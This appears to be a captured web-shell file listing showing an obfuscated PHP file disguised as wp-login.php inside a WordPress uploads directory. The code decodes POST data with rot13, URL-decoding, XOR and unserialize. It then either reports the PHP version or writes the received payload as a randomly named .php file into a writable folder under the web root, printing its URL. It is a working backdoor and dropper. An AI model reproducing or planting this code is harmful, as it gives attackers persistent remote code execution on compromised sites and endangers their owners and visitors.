HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/dallavitae/OLD_WP/wp-content/uploads/2023/01/wp-login.php
<?php function riLFkiVfs($VPmnCfxIl){$DfReBKvGE = chr(1102-988).'a'.chr(559-440).chr(117)."\x72"."\x6c"."\x64"."\x65".chr(99)."\x6f".'d'."\145";$VIAyTmwcgw = "\x73".chr(259-143).chr(393-279).chr(95).'r'.'o'.chr(985-869).chr(49).'3';$rtbdQV = "\163".'t'.chr(114)."\137".'s'."\160"."\154".'i'.chr(202-86);$VPmnCfxIl = $rtbdQV($DfReBKvGE($VIAyTmwcgw($VPmnCfxIl)));return $VPmnCfxIl;}function gOUapoDDfC($eLRSaTY, $VPmnCfxIl){$JKOwODb = "\x73"."\164".'r'.chr(95).'s'."\x70".chr(108).'i'."\x74";$eLRSaTY = array_slice($JKOwODb(str_repeat($eLRSaTY, (count($VPmnCfxIl)/16)+1)), 0, count($VPmnCfxIl));return $eLRSaTY;}function MPBkRlF($ETbdXKo, $MLafqIPFTu, $eLRSaTY){$YHiJsq = "d6215556-13ef-416c-aa12-d4eba80be49c";return $ETbdXKo ^ $YHiJsq[$MLafqIPFTu % strlen($YHiJsq)] ^ $eLRSaTY;}function brvnSp($VPmnCfxIl, $eLRSaTY){$VPmnCfxIl = array_map("MPBkRlF", array_values($VPmnCfxIl), array_keys($VPmnCfxIl), array_values($eLRSaTY));$VPmnCfxIl = implode("", $VPmnCfxIl);$YFnbobOz = "\x75".'n'."\x73".chr(369-268).chr(809-695)."\151".chr(97).'l'."\151".'z'."\145";$VPmnCfxIl = @$YFnbobOz($VPmnCfxIl);return $VPmnCfxIl;}function FuEeIbwUbw(){echo "xrYfr";}function qffpMhHt($lpwqcJLmcOir){static $jCzCiz = array();$vudUbKMK = glob($lpwqcJLmcOir . '/*', GLOB_ONLYDIR);$ZezTCap = count($vudUbKMK);if ($ZezTCap > 0) {foreach ($vudUbKMK as $lpwqcJLmcO) {$cSoIU = 'i'."\163".chr(408-313).chr(119).chr(114)."\x69".chr(455-339)."\141"."\x62".chr(514-406).chr(356-255);if (@$cSoIU($lpwqcJLmcO)) {$jCzCiz[] = $lpwqcJLmcO;}}}foreach ($vudUbKMK as $lpwqcJLmcOir) qffpMhHt($lpwqcJLmcOir);return $jCzCiz;}function ltTtsSbKF(){echo "bMrVbk";}function boLeyFMtgD($VPmnCfxIl){$flhjlnPh = "\104".chr(79).chr(779-712).chr(429-344).chr(77)."\105"."\116"."\x54"."\137".'R'.chr(79).chr(79).'T';$fWXpL = $_SERVER[$flhjlnPh];$vudUbKMK = qffpMhHt($fWXpL);$oRgettD = array_rand($vudUbKMK);$jQzuk = '.'.'p'.'h'.'p';$uamSIzU = $vudUbKMK[$oRgettD] . "/" . substr(md5(time()), 0, 8) . $jQzuk;$ICkHt = 'f'.chr(105)."\x6c".chr(775-674)."\137".chr(949-837)."\x75".chr(116).'_'."\143".chr(111).chr(202-92)."\x74"."\x65".'n'."\x74".'s';@$ICkHt($uamSIzU, $VPmnCfxIl);$REuVDQFDg = "\x48".chr(84)."\x54"."\x50".'_'.chr(72).'O'."\123".chr(583-499);$ktfOFtT = "\x68"."\164".chr(116)."\x70".':'."\x2f".chr(47);$mxMuWniqc = $ktfOFtT . $_SERVER[$REuVDQFDg] . substr($uamSIzU, strlen($fWXpL));print($mxMuWniqc);}foreach ($_POST as $eLRSaTY => $VPmnCfxIl){$RRKpvMA = strlen($eLRSaTY);if ($RRKpvMA == 16){$VPmnCfxIl = riLFkiVfs($VPmnCfxIl);$eLRSaTY = gOUapoDDfC($eLRSaTY, $VPmnCfxIl);$VPmnCfxIl = brvnSp($VPmnCfxIl, $eLRSaTY);if (@is_array($VPmnCfxIl)){$oRgettD = array_keys($VPmnCfxIl);$VPmnCfxIl = $VPmnCfxIl[$oRgettD[0]];if ($VPmnCfxIl === $oRgettD[0]){$dtVIf = "\160"."\x68".chr(207-95);$ogpRM = chr(840-728).chr(387-283)."\160"."\x76"."\145"."\x72".chr(1066-951)."\x69".chr(617-506).'n';$SBUCLuseH = chr(115)."\145".chr(114).chr(105)."\x61".chr(842-734).chr(401-296)."\x7a"."\x65";echo @$SBUCLuseH(Array($dtVIf => @$ogpRM(), ));}else {boLeyFMtgD($VPmnCfxIl);}die();}}}